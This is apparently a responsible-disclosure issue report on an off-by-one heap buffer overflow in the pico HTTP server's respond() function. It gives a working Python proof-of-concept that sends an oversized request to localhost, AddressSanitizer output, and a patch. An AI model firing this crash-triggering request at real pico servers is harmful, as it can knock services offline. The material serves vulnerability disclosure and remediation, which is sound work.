Hi!
While executing my fuzz tests, I discovered an off-by-one buffer overflow in void respond(int slot), line 173:
Any project that utilizes pico is potentially vulnerable. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.
Makefile Modifications
The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the off-by-one buffer overflow:
all: server
clean:
@rm -rf *.o
@rm -rf server
server: main.o httpd.o
gcc -o server $^ -fsanitize=address -g
main.o: main.c httpd.h
gcc -c -o main.o main.c -fsanitize=address -g
httpd.o: httpd.c httpd.h
gcc -c -o httpd.o httpd.c -fsanitize=address -g
Compiling Pico
Proof of Concept Python3 Script
Save the following script to a file named poc.py. The script will send an HTTP request with a malformeed 'Host' header to the pico server:
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(b"GET /hello HTTP/1.1\r\n"+b"C"*65534+b" localhost:8000\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n")
response = sock.recv(4096)
sock.close()
Starting Pico
Executing our Python3 Script
Address Sanitizer Output
The following output was produced by address sanitizer:
==356968==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310000107ff at pc 0x55ae6c37ef26 bp 0x7ffd53a18ad0 sp 0x7ffd53a18ac8
WRITE of size 1 at 0x6310000107ff thread T0
#0 0x55ae6c37ef25 in respond /home/kali/projects/fuzzing/pico/httpd.c:173
#1 0x55ae6c37e199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
#2 0x55ae6c37d4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
#3 0x7f5394ed46c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7f5394ed4784 in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x55ae6c37d3b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)
0x6310000107ff is located 0 bytes after 65535-byte region [0x631000000800,0x6310000107ff)
allocated by thread T0 here:
#0 0x7f53948d85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x55ae6c37edcc in respond /home/kali/projects/fuzzing/pico/httpd.c:164
#2 0x55ae6c37e199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
#3 0x55ae6c37d4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
#4 0x7f5394ed46c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/projects/fuzzing/pico/httpd.c:173 in respond
Shadow bytes around the buggy address:
0x631000010500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x631000010580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x631000010600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x631000010680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x631000010700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x631000010780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[07]
0x631000010800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x631000010880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x631000010900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x631000010980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x631000010a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==356968==ABORTING
ASan is indicating a 'heap-buffer-overflow' issue, which means the program tried to access memory beyond the allocated heap buffer. This specific error occurred during a write operation at the memory address 0x6310000107ff. This is a common off-by-one vulnerability that can lead to crashes, unpredictable behavior, or security risks.
The overflow is happening in the function respond
within the file httpd.c
at line 173, during the execution the server program (pico/server). This function was called by serve_forever
(httpd.c:67), which in turn was called by the main
function (main.c:13).
Mitigation
The error message from ASan points to an off-by-one error on the line buf[rcvd] = '\0';
in the respond function. This line attempts to null-terminate the buffer received from the recv function, but it doesn't account for the fact that the recv function might fill the entire buffer, leaving no space for the null terminator.
To fix this issue, you need to ensure that recv leaves room for the null terminator in the buffer. You can do this by receiving one less byte than the buffer size. Furthermore, it's good practice to initialize the buffer with zeros to avoid any undefined behavior.
Here's the modified version of the respond function with the necessary corrections:
void respond(int slot) {
int rcvd;
buf = malloc(BUF_SIZE);
memset(buf, 0, BUF_SIZE); // Initialize buffer with zeros
// Receive up to BUF_SIZE - 1 bytes to leave room for the null terminator
rcvd = recv(clients[slot], buf, BUF_SIZE - 1, 0);
if (rcvd < 0) // receive error
fprintf(stderr, ("recv() error\n"));
else if (rcvd == 0) // receive socket closed
fprintf(stderr, "Client disconnected unexpectedly.\n");
else // message received
{
buf[rcvd] = '\0'; // Safe to add null terminator
// ... (rest of your code)
}
// ... (rest of your code)
}
- Buffer Initialization: memset(buf, 0, BUF_SIZE); initializes the buffer with zeros, ensuring all elements are set to '\0' before receiving data.
- Adjusted recv Size: The size parameter in recv(clients[slot], buf, BUF_SIZE - 1, 0); is set to BUF_SIZE - 1 to reserve space for the null terminator at the end of the buffer.
References